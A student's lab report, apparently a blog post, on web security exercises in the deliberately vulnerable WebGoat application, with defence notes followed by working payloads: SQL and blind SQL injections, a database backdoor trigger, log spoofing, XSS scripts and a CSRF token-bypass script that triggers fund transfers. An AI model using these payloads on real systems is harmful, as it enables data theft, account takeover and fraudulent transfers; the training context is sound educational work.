Exp9 Web安全基础

Exp9 Web安全基础

20154316 王帅峰

一、实验要求

本实践的目标理解常用网络攻击技术的基本原理。

二、基础问题回答

1. SQL注入攻击原理,如何防御?

  • SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
  • 对于SQL注入攻击的防范,主要还是从代码上入手:
  • 采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。它的原理就是sql注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析准备,因此也就避免了sql注入问题;
  • 使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;
  • 采用字符串过滤的方法;
  • jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。

2. XSS攻击的原理,如何防御?

  • SS是代码注入的一种,它允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。
  • 防御可以从以下两个方面进行:
  • 在表单提交或者URL参数传递前就对其参数进行过滤
  • 检查用户输入的内容中是否有非法的内容,例如尖括号、引号等之类的字符,严格控制输出。

3. CSRF攻击原理,如何防御?

  • 我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
  • 对CSSRF的防御可以从一下几个方面进行;
  • 通过referer、token或者验证码来检测用户提交;
  • 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;
  • 避免全站通用的cookie,严格设置cookie的域。

三、实践过程

1.安装WebGoat

从同学那里考了一份下载好的压缩文件,复制到Linux上边运行
输入

java -jar *.jar
```指令(*表示文件名)即可安装webgoat。

![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121156707-2032030438.png)

![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121203175-1509256582.png)



打开浏览器,输入

127.0.0.1:8080/WebGoat


![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121218116-941451325.png)


#### 2.Injection Flaws

##### Numeric SQL Injection

F12打开浏览器调试模式,通过修改该,Columbia对应值,使得最后传回去的SQL语句变为

SELECT * FROM weather_data WHERE station = 101 OR 1=1


1=1恒成立,即可看到所有城市天气

![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121325218-321745091.png)



##### Log Spoofing

日志伪造,,在Username输入

zh%0d%0aLogin Succeeded for username: admin
%0d和%0a

为换行符,这样就就伪造了内容为Login Succeeded for username: admin的日志

![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121336502-1471120655.png)



##### XPATH Injection

直接构造永真式

20154316' or 1=1 or 'a'='a

![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121348528-1233958821.png)



##### String SQL Injection

构造一个永真式注入

wangshuaifeng' or '1'='1
SQL

语句变为

SELECT * FROM user_data WHERE last_name = 'wangshuaifeng' OR '1'='1'



#### LAB: SQL Injection

##### Stage1:String SQL Injection

这一题就一点小问题,输入框限制了MaxLength,把MaxLength改为一个合适大小之后,修改password=' or'1'='1,done

![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121454836-720068515.png)


##### Stage3:Numeric SQL Injection

和Stage1一样,构造永真式登陆账户,登陆之后修改employee_id参数修改为101 or 1=1 order by salary desc

![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121521731-436251064.png)


##### Database Backdoors

思路就是利用SQL语句注入一个后门,具体操作就是用;将原本填入文本框的语句变为两条SQL语句,实现注入后门的目的

先在User ID输入框输入

101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.

这样就实现了传入SQL语句

CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.

实现的功能就是创建新用户时,会自动将email选项填充为我指定的邮箱

![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121540453-2117595995.png)


##### Blind Numeric SQL Injection


盲注,顾名思义就是啥都不知道瞎注,主要是看反馈信息来调整我们的输入来实现SQL注入的效果
数字盲注,在Enter your Account Number输入

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );



根据返回的提示来判断

“(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000"

通过二分法缩小范围,最后用2364提交成功

![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121556261-1419756378.png)



##### Blind String SQL Injection

相同思路,只不过这个是字符串盲注,在Enter your Account Number输入

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4312431243124312'), 1, 1) = 'h' );

根据返回提示判断name,最后输入JiLL,爆破成功

![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121610421-1132541076.png)



#### Cross-Site Scripting (XSS)
##### Phishing with XSS


XSS+HTML写一个简单的带表单网站,直接将下面的代码放入输入框,Enter,出现一个登陆框,输入Username和Password之后会弹窗相关信息




This feature requires account login:



Enter Username:

Enter Password:




```

LAB:Cross Site Scripting

Stage1:

登陆后,点击View profile后,在Street字段输入以下代码:

<script>alert("20154327");</script>

Stage3:

使用“David”登录,然后查看“Bruce”的信息,即可执行之前存储好的跨站攻击脚本

Stage5:执行一个反射XSS攻击

登陆后在Search Staff中输入

“”

Stored XSS Attacks

存储式XSS攻击,也是最经典的,用过将脚本语句放入留言框存储起来,进行攻击

本题直接在Title里输入任意信息,在 Message里输

<script>alert("20154316wangshuaifeng!");</script>

再点击留言板内容

Reflected XSS Attacks

反射XSS攻击中,利用脚本制造一个URL提交到另外一个网站,实现攻击,直接在Enter ur three digit access code中输入脚本,实现攻击

CSRF

Cross Site Request Forgery(CSRF)

这是一个发送邮件的页面,我们只需要在Title输入任意信息,在Message输入

:<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />

点击Submit,Message List就会出现一条提交的记录

CSRF Prompt By-Pass

一样的思路,Title输入任意信息 ,Message输入:

![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121856834-314080022.png)
CSRF Token By-Pass

还是相同的思路,Title输入任意信息,在Message输入代码,submit

<script>
    var tokensuffix;
     
    function readFrame1()
    {
        var frameDoc = document.getElementById("frame1").contentDocument;
        var form = frameDoc.getElementsByTagName("form")[0];
        tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
     
        loadFrame2();
    }
     
    function loadFrame2()
    {
        var testFrame = document.getElementById("frame2");
        testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
    }
</script>
 
<iframe src="attack?Screen=273&menu=900&transferFunds=main"
    onload="readFrame1();"
    id="frame1" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>
 
<iframe id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>

实验总结与体会

   这是网络对抗最后一次实验,实验过程中运用webgoat这个网站做练习,全是英文是最大的困难,做各种网络对抗的练习,发现恶意代码的厉害之处,网络对抗课程就要结束了,这一个学期的学习最重要的就是让我认识到了网络的不安全,注重网络安全是以后生活工作的重中之重,这学期也学到了好多技术方法,在以后工作学习中也能继续去练习使用,总之,这门课让我收获很大,认识到了很多以往不了解的事情!

posted on 2018-05-29 19:42  wangshuaifeng  阅读(131)  评论(0编辑  收藏

导航